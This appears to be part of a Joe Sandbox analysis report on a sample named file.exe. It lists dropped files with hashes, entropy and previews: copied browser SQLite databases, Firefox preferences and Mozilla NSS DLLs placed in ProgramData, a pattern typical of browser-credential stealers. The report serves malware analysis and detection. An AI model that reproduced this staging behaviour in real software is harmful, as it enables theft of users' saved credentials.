Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAKEBAKFHCFHIEBFBAFBKFCAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDBAFHJJDAKEBGCFCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDGDAKFHIEHJKFHDHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IDAAFBGDBKJJJKFIIIJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHCGDAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JECBGCFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265215429932195
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMwSAELyKOMq+8yC8F/YfU5m+OlTLVumH:Bq+n0Jw9ELyKOMq+8y9/Oww
MD5:	D8D21337D6695D0CBFF159503EEF91B2
SHA1:	E8FFA011144A489A8DDD04E40281CF169BEAEEFB
SHA-256:	D48FC45D585778FC05A78681B6515A64060FF3F825E148D3962438A71B192DD9
SHA-512:	2ED7A78B323E3CF5FF105FCB2E0A2DB2FE4C16F9CC4DCB6B8EA871C5DAF11DFA5695AF4BC3132DDFA536C8F609908E1F8ECE48E581AC718D732B742B0202AD34
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3f8dda37-aacf-4712-b584-a226267202f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090758237594307
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Jtbz8hu3VlXr4CRo1
MD5:	F126E15236D8434EAB818BDCFBB733DF
SHA1:	33C32D8BA58BA19E0395F7DC4C38E9FF068F6F6C
SHA-256:	2ADAFFD2BD9A8FE26F79BB6C4FFD1B161746BFC1E6ADCA272153720AD3335086
SHA-512:	C6829F750C359629CB76E57C068A0C1E1CB74B879D1B26FBAC6CA247EA99F0E3C193F6BA279DD7C37E2F5C601E440678F9D6E5A5598A33D34128A55BD6D3B416
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\683f3502-7db0-4fa9-8990-b336d5596313.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096676065042684
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBpwuVhDO6vP6Oc+HwzrcDA94ZvcDrRcGoup1Xl3j0:z/Ps+wsI7ynEi68chu3VlXr4CRo1
MD5:	0650D01466481D483493D49067A1FF8C
SHA1:	00A0D6882D7BAE7F7166E55996331A416ED53281
SHA-256:	A95CF037FC89C1915C3F69FD9C23035A2506849A194B19EAAA733DF3A9A30F8A
SHA-512:	52B187FD1728E860131DB1CF71CDCD38D9DFB0298D1D892B5EE5BE9B003E74EDC5E3275007905E70AC926AA7B286FC5CFAAFF288B5BA5547ED4C92BED187AE7F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8aa9401c-7d43-4810-b54b-ae59ef5b8a15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096676065042684
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBpwuVhDO6vP6Oc+HwzrcDA94ZvcDrRcGoup1Xl3j0:z/Ps+wsI7ynEi68chu3VlXr4CRo1
MD5:	0650D01466481D483493D49067A1FF8C
SHA1:	00A0D6882D7BAE7F7166E55996331A416ED53281
SHA-256:	A95CF037FC89C1915C3F69FD9C23035A2506849A194B19EAAA733DF3A9A30F8A
SHA-512:	52B187FD1728E860131DB1CF71CDCD38D9DFB0298D1D892B5EE5BE9B003E74EDC5E3275007905E70AC926AA7B286FC5CFAAFF288B5BA5547ED4C92BED187AE7F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\802e2008-4e7c-488c-b23b-915f25de71cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
